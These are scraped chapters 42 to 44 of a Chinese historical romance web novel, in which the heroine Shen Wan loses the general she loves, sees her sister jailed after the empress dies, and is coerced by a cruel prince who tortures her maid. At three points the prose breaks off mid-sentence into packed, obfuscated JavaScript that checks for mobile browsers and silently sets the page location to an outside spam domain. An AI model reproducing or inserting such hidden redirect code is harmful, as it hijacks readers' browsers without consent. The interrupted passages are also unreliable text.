“是吗,我一向不太会挑礼物。” 谢翊自嘲地笑了笑,面容不见丝毫愠怒,沈绾不知他方才到底听到多少,脑中急速运转,想着应对之法。 只是谢翊似乎根本没在意到她们方才的谈话,唯有视线不动声色地落在那只金镯上。 “阿鸾,戴上试试?”沈葭提醒道。 沈绾望着那张不见波澜的俊容,思绪纷乱,在沈葭提醒第二遍时才回过神,低头将金镯戴上左腕。 像是为她量身定制一样,大小宽度正合适。 “谢谢将军。”她低声道谢。 谢翊微微颔首,幽深的目光从手镯落向她的侧脸,“很适合你。” 男人的眸光仿佛带着某种魔力,沈绾不由心脏一滞。 当晚,代鄯和沈葭又说笑了一会才离去,正当她以为谢翊会拉着自己质问一番时,没想到一向缠人的男人竟体贴地叮嘱她早些休息。 他的举动太过奇怪,沈绾翻来覆去想不通,本想主动开口可又不知该说些什么,竟是一夜无眠。 次日,天刚蒙蒙亮,沈绾朦朦胧胧睁开眼,刚推开门,只见一小丫头捧着水盆迎面走来。 “姑娘醒了?”小丫头朝沈绾蹲了个礼,“将军说姑娘昨晚八成没睡好,今日特向御马司帮您告了假,让您在府中休息一日。” 沈绾心中不住暗叹,谢翊这人果真七窍玲珑心。 “将军人呢?” “怎么,姑娘不知道?”小丫头歪头疑惑道:“将军昨晚接了圣旨,已连夜带兵北上了。” 42. 第四十二章 自兹去 “什么?”沈绾忽觉有道电流从天灵盖直穿脊髓,将她击在原地。 他……走了? 不是说大军明日才出发?圣旨竟下得这般急?她都已经想好今晚下值要为他做些什么菜了。 直到此刻,她终于确定,昨晚的话他定然都听到了。 这般不告而别,他心里定是怨她、恨她到了极点…… “姑娘,姑娘?”见沈绾出神,小丫头轻唤了两声。 “怎么?”沈绾猛然回神,右手下意识不断摩挲左腕的镯子。 小丫头讪讪:“姑娘是否要洗漱?奴婢帮您?” “哦,不必,”沈绾怔怔道,“我自己来就好。” “姑娘!”沈绾正欲回身,一道清脆女音穿过晨雾。循声望去,只见春桃逆着晨曦,朝她挥着手,风尘仆仆小跑过来。 “春桃!”沈绾眸光一亮,担忧了整晚的半颗心终于落地,“你什么时候回来的?” 小丫头见状识趣退下,春桃额角挂着两滴细汗,一双圆润的大眼睛又闪又亮,在沈绾面前站定,“刚回来。” 沈绾左右环视一圈,将人拉进屋,谨慎地关上房门,沏了杯茶递过去,“先坐下歇歇。” “谢谢姑娘。”春桃弯了弯眉眼,接过茶杯咕咚咚灌了一大口,见沈绾面容憔悴,缓了口气道:“姑娘许是担心了一整夜,是我路上有些耽搁了。” 沈绾蹙了蹙眉,“怎么,路上不顺利?” “倒也不是,”春桃摇头,“正如姑娘预料,西城门当时并未出现官差,我带着李大山也并未遭到盘问,很顺利便出了城,可就在我们离开不久,就听随后出城的商旅说,有官兵在城中夜巡,好像在搜捕什么人。 我听着后怕,驾着马车没敢走官道,一路将人护送到白河庄,过了那里就是石云镇,再往南就是齐州,京都外的路径四通八达,料那些官兵也找不到。” 春桃用袖口擦了擦额角,道:“今早我进城时,那群官兵还没散,被他们拦住盘问一番,耽误了些时辰。” 沈绾握住她的手:“春桃,这次多谢你了,愿意帮我冒这么大风险。” “姑娘说哪的话?”春桃瞳仁亮晶晶,满眼诚挚:“自从将军让我服侍姑娘,我就一心扑在姑娘身上,何况姑娘待我这么好,也没把我当奴婢,我自是愿意为姑娘做任何事。” 春桃说得认真,那样干净真挚的眼神,实在让人怀疑不起半分。即便沈绾清楚她的影卫身份,心中的猜忌也渐渐消退。 仔细想想,她在身边的这些日子,除了上次赌场一事,几乎不曾有过探查监视,也许她真的只是为了保护自己。 “姑娘,我回来时听说将军昨晚接到旨意连夜离京,那昨晚的生辰宴……” 沈绾眸底的黯然一闪而过,“想必圣旨是后半夜到的,并未影响宴席。” 听沈绾这样说,似乎根本不清楚圣旨的事,春桃犹疑道:“姑娘,你和将军……吵架了?” 吵架?沈绾心中苦笑,他们昨晚连吵架的机会都没有。 “咦?”春桃视线不经落到沈绾手腕上,“原来这就是将军给姑娘备下的生辰礼物啊?” “怎么,你知道?” 春桃弯眉:“前阵子将军私下里找了一位金匠师父,学习怎么做首饰,我当时就想定是为了给姑娘准备礼物。” “金匠师父?”沈绾讶异,抬手瞅了眼腕上镯子,难不成这东西是他自己做的? 等一下! 金匠师父?师父!有什么东西蓦然闯入脑海。 沈绾猛一咬牙,她真是粗心!昨晚只顾着送李大山出城,倒完全忘记了明景崇,那伙人若是一路追查到李大山家里,那师父岂不是…… 想到这,沈绾心急如焚,如果师父因此遭遇不测,她怕是这辈子都不会原谅自己。 “我记得将军当时学得可认真了,还问了一些机关锁的……”春桃边回忆边絮叨着,忽见沈绾火急火燎往外赶,“哎,姑娘,你这是……” 沈绾也顾不上和她搭话,直往门外冲。 天光乍破的街道尚未完全从沉寂中醒来,故而一路行人并不多。沈绾从府里挑了匹快马,一路直奔李家村。 马蹄在田埂间扬起尘土,沈绾翻身下马,猛然推开李大山家院门,入目皆是狼藉一片,显然经过歹人搜查,只是屋里却空无一人。 一股强烈的不安和恐惧涌上心头,垂在身侧的指尖微微颤抖,沈绾咬紧下唇,竭力使自己镇静下来。 正当她思索下一步该如何做时,墙角有什么东西吸引了她的注意。 那是一张被压在土块下的碎纸片,不知是被风吹的还是有人故意为之,它就这么静静落在不起眼的角落,若不是她想到师父常将一些好酒放在墙角,也不会注意那里。 纸张由于被压在土块下,已是脏污不堪,沈绾仔细擦了擦,借着院中晨光,才勉强辨认出这上面画着的是一些奇怪又熟悉的图案。 说它奇怪,是因为上面的图案都是用黑点和线条组成,乍看起来只像是随意的涂鸦;可说它熟悉,是因为沈绾清楚地知道,这是师父留给她的线索。 师父曾经说过,他的学生遍布天下,可有些身份特殊,所以联系起来并不容易,有时不能用日常文书交流,所以他便发明了这样一种暗号,用最简单的图案标注出最重要的信息。 这种暗文明景崇教过她,这纸片上面的墨点与线条分布紧凑,像是一副地图,恰恰勾勒出一个明晰的地点。 灵光一闪,沈绾匆忙迈出院门,跨身上马。 若是她没记错,李家村后面是座荒山,山上有座废弃的土地庙,师父图上指明的地点正是那里。 晨间山路雾气未散,马儿走起来也慢了许多,沈绾虽然对这里并不熟悉,可有了之前爬胭脂山的经验,走起山路来也没那么艰难。 土地庙就在半山腰,沈绾谨慎地朝四周打量一圈,方缓缓推开庙门。 庙中已多年未有人祭拜,地面尘土厚厚一层,蛛网爬满了石像。 沈绾在庙中扫视一圈,并未见着人影。 难道师父已经离开了? 正凝眉思索着,巨大的石像背后忽然传来一道爽朗笑声:“想不到你还真能找到这?” 明景崇捋着花白胡子,徐徐自石像后走出,沈绾眼睛一亮,疾步上前,“师父,您还真在这!” “看来这段日子我没白教。”明景崇见她神色匆忙,笑吟吟安抚道,“你这速度挺快啊。” “师父,对不起。”沈绾垂目自责,昨晚要是她不那么粗心,也不会害师父险些遇难。她这个当徒弟,还真是不称职…… “没什么好道歉的。”明景崇温声道,“昨晚事发突然,你也没有料到。” “师父都知道了?” 明景崇道:“昨晚后半夜,突然来了伙官兵搜村,我就知道大山出事了。我昨晚睡得浅,先他们一步离开村子,一路往后山走,在这里过了一夜。” “怎么,到底出什么事了?怎么会惹上官府的人?” 沈绾简单将昨晚的事大致讲了一遍,明景崇听后面色肃然:“你做的是对的,发生这种事,大山多留在京都一天便多一分危险。” 他来回踱步片刻,蓦然转身,一双幽深难测的眼直望向沈绾,“你让他去黔州,想必是已有安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你放心,当初的赌约还没实现,我这个做师父的可跑不了。”明景崇见沈绾眼中隐有悲戚之色,笑言道,“之后我自会想法子与你联系,只要到时候你不要嫌我这个老头子烦就好。” 沈绾心中刚浮起伤感,闻言不由笑出声,“师父可要说到做到。” 天色大亮,二人沿着山路很快下了山,简单话别后,沈绾便送明景崇上了路。 “对了,”明景崇忽然想起什么,勒住缰绳,回头道,“你说那位大将军是昨晚连夜收到的旨意?” “是啊。”沈绾不知师父为何突然问起这个。 圣旨连夜下达,只怕是北边灾情已难以控制,亟需朝中派人出面,可谢翊竟然没有跟她知会一声,多半也有负气的意味。 想到这,沈绾的心头莫名又开始沉重起来。 明景崇凝思片刻,正色道:“京中局势变幻莫测,你要多留意那位巴泰王,万事小心为上。” “是,师父。” 沈绾应下,明景崇没再多言,驾马而去。 已是暮春时节,两道树木葱翠,马蹄疾驰,震得林中飞鸟扑簌簌飞起,直到一人一骑化作再也不可见的小黑点,沈绾才依依收回视线。 回到城中,已是日上中天,各处街道如往日喧闹蒸腾,沈绾在路边缓缓走着,忽见一辆辆马车在眼前匆匆驶过,两侧皆由御林军护卫,而前头引路的则是宫中内侍。 看方向,应当是往宫城去的。 沈绾心下疑惑,不动声色跑到茶摊边打听。 “听说是皇后娘娘身子不适,宫中太医都束手无策,皇上大怒,下令召民间医者进宫,为皇后娘娘医治侍疾。这不,但凡城中有点名头的郎中,都被请进宫了。” 茶摊主絮絮不休,谁都知道皇后娘娘自从有了身孕,身子一直不好,眼下这伙人被召进宫侍疾,只怕凶多吉少。 沈绾正想着,一辆驶进宫的马车正巧与她擦肩而过,清风撩开车帘,沈绾不经一抬眼,目光忽然顿住。 车里之人,竟然是沈葭! 43. 第四十三章 墨云倾 三姐姐怎么也会被召进宫?虽说她与皇后有几面之缘,可她并未有医者头衔,即便是钻研医术也只是私下进行,耶齐格没道理也把她算在列。 难不成是皇后亲自要求? 可是没道理啊……当初皇后提议要三姐姐入宫,也只是为了拿捏自己,如今她病痛缠身,难道还有心思琢磨帮乌兰朵对付自己? 思绪犹如一团乱麻,怎么也理不明白,沈绾当机立断,直奔丞相府。 可关心则乱,她偏偏忘了,这时辰代鄯远没有下早朝。 在丞相府足足等了三个时辰,方见代鄯满面憔悴回了府。 “大人。”沈绾迎面上前,神色焦灼。 代鄯知她在这等了许久,方竭力扯出一抹笑,“沈姑娘来了。” 沈绾见他面色不豫,开门见山道:“三姐姐到底为何进宫?皇后娘娘她……” “旨意是圣上下的,沈葭她只是进宫侍疾,若是顺利,不日便能回来了。” 沈绾听出他的安抚,更加清楚这些都只是表面说辞。 她知道,即便皇后病重,耶齐格也根本不会无缘无故想到沈葭,即便是想对付自己,依他的性子也不会绕这个圈子,这其中一定另有隐情! “大人,您不必顾及什么,这些日子以来,我自以为我们是朋友,三姐姐是我的血亲,我不可能对她弃置不顾。” 代鄯见沈绾不依不饶,大有打破砂锅问到底的架势,无奈摇了摇头,走进花厅坐下。 “即便你知道原因,也改变不了什么。”代鄯叹息道,“没错,让沈葭进宫的确不是皇上本意。是宫里一位娘娘在皇上面前提起,说沈葭曾缓解过皇后的头疾之症,皇上病急乱投医,为了保住龙裔自是不惜用任何方法,所以在召集民间大夫时也把沈葭的名字加上了。” “宫里的一位娘娘?”沈绾秀眉一皱,当初沈葭帮皇后治疗头疾一事她还是在年前宴会上才知晓,当时在场的娘娘…… 脑中瞬间闪过灵光,“珂吉贵妃?” 代鄯垂眸吹了吹茶碗热气,不置可否。 “难道会是她……”沈绾想到凌娩那盛气凌人的样子,哑声开口,“想不到她为了报复我,竟暗地里使绊子。” “那大人,皇后的病情到底怎么样?”沈绾站在代鄯身侧,眉头紧锁,“乌兰朵公主想必也在宫中侍疾,若是有什么事,是否也能向她打听一二?” 她虽不会对皇后有什么期待,但乌兰朵她是亲身接触过的,此人光明磊落、明达率真,若是三姐姐在宫中有什么事,她大概也能照顾一二。 代鄯递到唇边的茶碗一顿,随后又重新放下,“东南叛军作乱,大有北上之势,乌兰朵昨晚已率兵离京了。” “什么?”代鄯的回答显然在沈绾的意料之外,原来昨晚走的不止谢翊,还有乌兰朵…… 虽说军情紧急,圣命下达也时有仓促,可事情一环扣着一环,总感觉哪里有些不对劲。 “大人,北边的灾情真的很严重吗?”沈绾试探开口。 代鄯点头:“是啊,旱灾越闹越凶,大量流民一路南逃,若是再不加以控制,后果难料。” 沈绾敛了敛眉,北边灾情如火,南边叛军起义,看来一切不过是巧合罢了。 想起今早师父临走时说的话,沈绾思虑半晌,抿了抿唇,终是没忍住:“大人,敢问东南之乱因何而起?” 代鄯没料到沈绾会突然问及这个问题,温润的眉眼一顿,答道:“据前线消息,应当是东南一伙乡绅学子临时起义,叛军借机煽动,这才聚集了一帮乌合之众。” “一帮读书人怎会有这般影响力?”沈绾眨着眼,明知故问道,“只是舞文弄墨,如何能造成这么大影响?” “沈姑娘怎的突然问起这个?”代鄯眉梢一挑。 沈绾无辜地耸耸肩,“只是好奇罢了。我只知道自古起义大多是行伍村夫出身,从没见过读书人拉旗造反的。” “那些人可不是普通的读书人。”说到这,代鄯的眼底悄然浮起一层怅然,“他们是荀山弟子。” 沈绾故作讶异,“这么说,他们与大人师出同门?” “是。” 见代鄯毫无避讳,沈绾愈发大胆道:“真是可叹,皆是明老先生座下弟子,如今却成了你死我活的对手,本是师出同门,却不得不兵刃相见。大人,你心中作何感想?” 沈绾一字一句问得犀利,代鄯收起平日散淡不羁的笑容,正色道:“即便师出同门,可立场不同,追求的理想抱负也不同,造成不得已的冲突,在所难免。” “那敢问大人,如今的朝堂就是您的抱负吗?如今的天下就是您的治国理想吗?大人可要放眼看看,眼下的大靖到底是个什么样子?” 沈绾声音清脆,却极有力量,代鄯眼中闪过一瞬的茫然,继而定定落在眼前人身上,“沈姑娘,你到底想说什么?” 沈绾收起严肃之色,低眉轻扯了扯唇角,“是我冒昧了,只是与大人谈到某些东西,心中一些疑惑忍不住就问出了口,还请大人见谅。” 当初在城楼上,代鄯是领会过沈绾厉害的,她身为亡国帝姬,他自然知道她心里的不甘与忿懑。 “无妨。”代鄯最擅伪装,重又恢复起那副云淡风轻的模样,“沈葭的事一时半会也没法解决,姑娘还是回去等消息吧,若是皇后娘娘的凤体能早日康健,一切也就没事了。” 沈绾知道当下别无他法,只好应下:“大人说的是。” ** 就这样过了五六日,沈绾心中总是七上八下,时不时派人去宫外打听消息,直到近两日,传来的消息都说皇后凤体渐愈,沈绾这才松了口气。 眼看春末夏初,正赶上皇宫上半年最后一场马术比赛,耶齐格最为重视,再加上皇后身子渐好,这场比赛也较之前更为隆重。 御马司照例负责看训马匹,选拔人员,因沈绾去年的惊艳亮相,这回她自然又在表演人员之列。 马场四周彩旗飘飘,绿意盎然,空中的日头已随着季节的推移渐渐染上暑意,场地正中无遮无挡,无论是骑手还是马儿,跑的时间久了,少不得汗流浃背。 可坐在高台之上的人头顶华盖,置于阴凉篷下,吃着消暑的果盘点心,丝毫不觉难捱。 沈绾静静排列在队伍中,目光时不时落向高台,目光睃巡许久,也未见到皇后身影。 所谓身子渐好,难道还是无法出门? 视线一转,高台上的一位美人旋即吸引了她的注意。 高鼻碧眼,粉面玉腮,唇如春日红樱,颈如雪中修竹,虽是坐着,可她俯过身给耶齐格一颗颗喂葡萄的时候,仍隐约可见那勾人摄魄的水蛇腰。 好一位异域美人。 怪不得耶齐格被她勾得魂都丢了。 前不久她就听人说起,有人给耶齐格进献了一位西域美人,进宫当日便封了妃,随后又是贵妃,虽有大臣极力反对,可到底也没拗过耶齐格对她的痴迷。 自她进宫后,夜夜侍寝,耶齐格除了上朝时刻将她带在身边,当真是三千宠爱集于一身。听闻这位美人善弹各种乐器,耶齐格便下令搜罗天下奇乐,想来当初大山口中的那张人皮鼓也是皇帝准备送给这位美人的礼物。 若不是皇后怀着身孕,耶齐格还顾及三分,只怕她若开口要皇后宝座,耶齐格也会毫不迟疑给她。 沈绾注意到,眼下来了位这么强的竞争对手,脸色最差的莫过于坐在角落里的凌娩。当初她也是凭借耶齐格的一时喜爱,轻而易举登上贵妃之位,可眼下还不到一年,已是红颜未老恩先断,一切变化得实在太快。 正想着,只听驯马监一声吆喝:“下一位,御马司马倌,沈绾。” 沈绾立即收敛心神,仔细活动下手脚后,大步上场。 今年的马匹依旧是西域进献的烈马,只是此刻,栅栏外牵出的这匹马通体血红,唯有马头马尾墨黑一片,沈绾还是头一回见这般奇特的马儿,心里不由跃跃欲试。 “开始!” 随着驯马监一声令下,沈绾绕着马儿走了两圈,待它熟悉她身上的气味后,渐渐放松警惕,沈绾趁其不备,翻身上马。 可烈马终究是烈马,根本不屑于受人屈服,随即高扬前蹄,猛烈翻甩。沈绾勒紧缰绳,将身子放低紧贴马背,任凭马儿疾驰甩动,也没有退让半分。 “好!”高台上,耶齐格看得不由拍手叫好,“爱妃,你看呐,这个小女子可不简单,去年就是她驯服了那匹乌骓马。” “是吗,臣妾家乡的马儿都烈得很,能驯服了的人想必也不是一般人。”西域美人红唇轻勾,美艳的脸上虽挂着笑,可笑意却未达眼底。 沈绾经过这些日子在御马司的学习,在驯马技术上已是突飞猛进,更懂得张弛有度,循循善诱,不一会儿,这匹马已被沈绾渐渐磨平了性子,奔驰的四蹄也渐渐放缓了速度。 就在马蹄交错之际,一位小太监飞驰的双脚越过众人,慌慌张张爬上高台,扑通一声在耶齐格面前跪下。 “启、启禀皇上……”小太监爬伏在地上,牙齿不由上下磕碰,就连身子也在不停打颤。 耶齐格正在兴头上,这会忽被人打搅,不满道:“何事?” “皇、皇后娘娘……崩了……”小太监此刻已露出张死人脸,死咬着牙说出了下半句,“肚子里的孩子,也没保住……” “什么?!”耶齐格猛然坐起,动作幅度之大带翻了面前案几,瓜果点心顿时滚落了一地。 众人闻言纷纷下跪,就连马场中的沈绾也被这消息震得一惊。 襄吉皇后……死了…… 今早明明还是身子渐愈的消息,怎的忽然就崩逝了? 正欲下马跪地,耳边蓦地传来一道尖锐的哨音,那哨音太过诡异,激得她耳膜嗡嗡,猝不及防间,座下马儿猛地一个前跃,手中缰绳瞬间脱落,马背出现前所未有的颠簸,天旋地转间,她再是难以把持重心,狠狠落下马背。 落地瞬间,四肢百骸几乎同时传来巨烈的疼痛,沈绾不由痛呼出声,可满场皆在为耶齐格的震怒而瑟瑟发抖,根本无人关心她的狼狈。 直到一阵匆匆的脚步离开高台,象征着皇室的车驾轿辇消失在马场,沈绾才渐渐恢复意识。 烈日当空,此刻,天地静得仿佛只剩她一个人。 不知过了多久,她试图爬起身,手臂刚撑起那刻,一道阴影自头顶笼罩而下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16061323|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,好似乌云挡住了晴日。 “小美人,怎的这般不小心,从高处摔落的滋味,好受吗?” 这声音令人恶心又熟悉,带着毒蛇吐信的森寒,沈绾缓缓抬起头,耶齐雷那张肥硕又阴冷的面容直入眼帘。 “多日不见,我可真是有些想你了。”油腻的大掌勾起沈绾下巴,几根粗壮的手指在脸侧上下抚摸,激得沈绾心里直作恶心。 “呸……”沈绾猛啐一口,想竭力别开脸,可她高估了自己的力气,耶齐雷的手掌犹如铁铸,死死钳住她。 “呵,”耶齐雷抹了把脸,笑得愈发狰狞,“性子还是这么烈,我更喜欢了。” 他手腕狠狠一丢,沈绾被甩得眼前一晕。 “记住你现在的傲气,本王等着看,早晚有你求本王的一天。” 长腿从眼前迈过,扬起一地尘土,落在被汗水浸湿的额角,转眼形成灰暗泥浆,使得发丝粘连一片。 恰有小马倌过来清理场地,见沈绾在地上苦苦挣扎,终是不忍心上前帮忙。 春桃本在府中准备午膳,想着姑娘中午若不回来就亲自给她送去,骤然一听马场出了事,心中顿感不妙,立马放下手中活计匆忙赶来,当看到沈绾满面尘土、眉头紧皱,人还昏迷不醒时,她瞬间呆住了。 她家好好的姑娘,怎么转眼成这样了! 马车一路疾驰回府,春桃还不忘派人出去找大夫,可满城近一半的郎中都被召进了宫,府中小厮跑了半个城,才勉强从乡下找来一位瘸脚郎中。 郎中虽看着不太正经,可诊治起来倒有两把刷子,告知沈绾的腿脚有了扭伤,后脊本有旧伤,今日这么一摔使得旧伤复发,伤了筋骨,再加上惊错过度,又添暑热,所以一时半会儿醒不过来。 春桃只道要用最好的方子治好她家姑娘,银钱不计。瘸脚郎中本就是见钱眼开的主,一听这话,连忙挥笔写下药方,又掏出几副狗皮膏药,扬言说药到病除,就是价格高了些。 春桃眼皮眨也不眨,全部买下,瘸脚郎中乐得合不拢嘴,忙俯首放下膏药,只道自己几日后再上门复诊。 可当晚沈绾就发了高烧,春桃按照瘸腿郎中的药方给沈绾服下,却不见好。春桃隐觉自己受了骗,可还没来得及暗骂瘸脚郎中,整颗心就被高热不退的沈绾占满了。 她守在床边,看着沈绾昏迷不醒的模样,急得直掉眼泪。 将军又不在,若是姑娘出了什么事,她该如何是好? 将军?对了,当初将军在府中修了间药室,就是担心姑娘有个头疼脑热,不至于无处寻药。 她记得姑娘刚搬进府时身子本也不好,后来依着方子去药室抓过几次药,其中一些退烧止痛的方子还放在药室里。 想到这,春桃稍作犹豫,咬一咬牙,干脆死马当活马医,跑去药室依照几张方子煎好药给沈绾灌下。 好在老天有眼,到了后半夜,沈绾的烧终于退去。 晨曦透过窗棂,在窗前落下斑驳光影,沈绾迷迷糊糊睡了一整夜,只觉身上一会像着了火,一会像贴了冰,反反复复折腾了一宿。 直到撩开沉重的眼皮,才发现春桃竟伏在自己床前,就这么睡着了。 “姑娘,你醒了!”春桃的反应比常人灵敏,况且只是浅眠,对于沈绾的动静自然轻易察觉,“你感觉怎么样,还有没有哪里痛?要不要喝水?” 不过一夜,春桃的小脸上已有了明显的黑眼圈。 沈绾看在眼里,心里又涩又暖,说起来,春桃只比自己小两岁,况且她们只是萍水相逢,没想到她竟能为自己做到这个地步。 “谢谢你,春桃。”沈绾心中感动,话到嘴边却只剩一句感谢。 “姑娘怎么又向我道谢?”春桃不安搓着小手,眨着大眼睛关切道:“说起来,姑娘昨日怎会从马背上摔下来?” 一句话勾起昨日的全部回忆,沈绾身子一凛,耶齐雷的面容再次浮现出来,一股不安的情绪瞬间涌上心头。 “春桃,昨日皇后是否真的崩了?” 沈绾紧攥着春桃的手,总觉得昨日一切仿若一场噩梦。 “是啊,皇后娘娘崩逝,宫里宫外都传遍了。” “那……”沈绾急遽思索,手心骤然一紧,“那宫里可有其他什么旨意?” “这……我还不清楚,既然姑娘想知道,我派人出去打听打听吧。”她昨晚一整夜都守在府里,即便外面发生了什么事,她也是不了解的。 沈绾知她好意,怔怔点头。 半个时辰后,春桃刚端来煎好的药碗进屋,就见出去打听的小丫头匆匆跑了回来。 “慌什么?”春桃在门前将人拦住,“姑娘身子未好,最经不得惊扰,好好回话。” “是……”小丫头尽管气喘吁吁,还是竭力平复下情绪,道:“春桃姐姐,打听出来了,昨个皇后娘娘因流产崩逝,皇上大恸,盛怒之下将在景康宫服侍的所有太监、宫女、乃至那些被召进宫的郎中全都关押入狱,其中……就有沈姑娘的那位三姐姐,沈葭姑娘。” “什么!”春桃惊得手中药碗差点掉落。 耳边忽听轰隆一声,好像室内跌落了什么东西,春桃心尖一跳,“姑娘!” 44. 第四十四章 多歧路 撩开纱帘,只见沈绾半个身子挂在床榻前,想要下床却显然忘记了自己脚上有伤。 “姑娘,当心。”春桃三步并作两步,上前将沈绾重新扶回床榻,“你脚上的伤还没好,不能乱动。” 沈绾由着她整理好被褥,视线从春桃落到跟进来的小丫头脸上,面色凝重道:“你们方才说的都是真的?” 二人对视一眼,小丫头见春桃示意无需隐瞒,遂将自己打听来的消息一五一十又讲了一遍。 沈绾骨节攥得发白,三姐姐体弱眼睛又不好,如何受得住牢狱之灾? 这桩桩件件实在太过巧合,就像……是有人故意安排好的。 “春桃,”沈绾沉吟片刻,迫使自己镇定下来,“将笔墨放到我床边来。” “哎。”春桃点头,取来矮几摆在床边,又铺上宣纸架上狼毫,沈绾提笔蘸墨,略作思索,很快落笔。 “把这封信送到丞相府,务必要亲自交到代鄯大人手上。” 春桃捏紧手中信纸,点头:“好。”刚迈出门,不放心又回头叮嘱了句小丫头:“一定要好好照看姑娘。” 春桃这一走从早上到午间再到傍晚,不知不觉天已擦黑。 沈绾昏昏醒醒,始终不见人回来。 心中宛如吊了无数个水桶,摇摇晃晃,七上八下,正准备遣小厮出去打探情况,庄严厚重的将军府门骤然被人撞开。 门外早已被执锐披甲的铁骑包围,一队训练有素的兵士鱼贯而入,铁靴在地面撞出“笃笃”的摩擦声,如一声惊雷,顷刻炸破宁静的府邸。 为首者是个面生的小太监,大摇大摆在院中站定,拈着尖细的嗓子宣读圣旨: “奉天承运皇帝,诏曰:大将军耶齐烈世受国恩,本应竭忠尽智,以报朝廷,然尔心怀叵测,通敌谋反,罪证昭然,天地不容!前日在拒捕途中遭流民所击,坠崖身死,实乃咎由自取!尔等家眷罪奴或有同谋者,即日起全部收押内狱,由三法司候审。钦此!” 最后两字如一道重雷沉沉落下,沈绾忽觉天旋地转,耳鸣嗡嗡直响,本就虚弱的身子此刻彻底没了力气,如一尾脱水的鱼瘫坐在砖地上。 那个小太监他……方才说什么?谢翊……死了? 怎、怎么可能?! 指尖深深嵌入掌心,胸口像是被人生生剖开,冷风呼啸着灌进去,将五脏六腑都冻成了冰渣。 心头血气急速上涌,一口鲜血自口中喷出,在素白裙裾边溅起点点红梅。 “沈姑娘!”小丫头吓得面如白纸,一把扶住沈绾摇摇欲倾的身子。 小太监冷眼扫视一圈,面无表情:“将这些个小厮婢女通通收押,一个也不要放过!” 一时间,哀嚎声、哭喊声响作一团。 ** 沈绾不是第一次来到内狱,哪怕是初夏,这里的风也是森然寂冷,阴寒蚀骨,直往人骨头缝里钻。 昏暗的壁灯忽明忽暗,潮湿的铁锈味混着腐烂的腥臭,直令人作呕。 沈绾抱着双膝靠在墙角,脚腕和脊背的痛意早已令她麻木,沉沉的脚步声从远处传来,直到在沈绾的牢门前止步。 钥匙穿过锁孔,铁链应声掉落,狱卒打开牢门,站在门外看守,来人一身暗袍,面容却十分陌生。 “沈姑娘,我家主子要见你。” 沈绾抬起寂静无波的眼,“你家主子是谁?” 那人冷笑:“跟小的走就知道了,事到如今,姑娘也没有选择的余地。” 沈绾由于脚上有伤,一路由着一名狱卒半拖半架,跟在此人身后。 刚过一道转角,蓦然侧目,只见沈葭张着一双空洞无焦的眼,坐在里间一侧牢房里,整个人看上去消瘦许多。 视线骤然一滞,脚下的步子也不禁放缓,身旁狱卒见状不耐道:“看什么呢?快点!” 沈绾抿了抿唇,悄然移开视线。 还好,三姐姐看起来只是面色苍白,似乎并未受过刑。 一行人又转过几个道口,来到一间密室,房里四周皆是石墙铁栅,唯有角落里三三两两的油灯幽幽散着亮光。 沈绾留意到,对着门口一侧的墙边摆满了刑具,明显是间审犯人的刑讯室。 “主子,人带来了。” 话音落下,靠里一侧的墙壁瞬间点亮一排油灯,微微燃起的烛火渐渐映出耶齐雷阴森的面容。 “小美人,我们又见面了。” 待看清眼前人后,沈绾视线顿了顿,嘴角勾起一个鄙夷的弧度,轻嗤道:“这刚出事,王爷就等不及来看我,小女子真是受宠若惊。” 耶齐雷缓缓上前几步,凑到她身前,轻轻嗅了嗅,像是闻到什么觊觎已久的味道,满足地勾起嘴角,“都这么久了,小美人还是像当初一样的脾气。不过没关系,我今日给你带来个人,等你见过之后,再考虑要怎么同本王说话。” 抬手一挥,立即有随从上前,沈绾这才发现原来耶齐雷身后还蒙着一块巨大的墨布。 随从抬臂一揭,布块飘然落下。墨布背后的景象映入眼帘,沈绾的心脏霎那间揪成一团。 黑布后是根玄铁浇铸的柱子,浑身血迹的女子双眸紧闭,纤细的双臂高举,由铁链拴着死死绑在柱上。两只纤细的脚踝踏在矮凳,似乎也被铁钉牢牢钉住,脚背处已是模糊一片,蓬乱的头发虽遮住她的半张脸,可沈绾还是一眼认出 ——是春桃! 这样残酷的刑罚,耶齐雷他居然用在一个小姑娘身上。 “你——”血液随着滔天怒意漫上眼角,沈绾顷刻间变了脸色,朝耶齐雷发出一声低吼:“你到想做什么!” “看来我这个礼物,小美人是喜欢的?”耶齐雷自上而下俯视道。 “她不过是个小姑娘,你抓她做什么?” “小姑娘?”耶齐雷冷嘲:“本王也没想到,这小丫头竟是个狠角色,我的人为了抓她可费了好一番功夫。这丫头的骨头太硬,审了半天愣是没从她嘴里扒出一个字。” “不过没关系,”耶齐雷越说越兴奋,“你派她不过是想找代鄯商议对策?可那又能怎样?你以为现在还有谁能救得了你吗?” 刺耳的笑声回荡在幽暗密室,沈绾紧了紧拳头,咬牙叹道:“说吧,你想要什么?” 耶齐雷转回身,指头勾起沈绾颈侧一缕秀发,轻嗅一口,道:“我想要的,你应该知道。” 沈绾冷然瞥过脸,眼神轻蔑地像在看一条狗,“我真是从来没有看走眼,你还是像当初一样,令人恶心!” 耶齐雷眼中闪过一丝怨毒,转而被阴冷的笑代替,“在这逞口舌之快有什么意义?那位小姑娘可正受着苦刑,就看你愿不愿意救她了。” 房中静得落针可闻,沈绾深呼了几口气,眼神决然:“你放了她,我跟你走。” 耶齐雷眸中一闪而过得逞的喜色,指尖轻抚沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 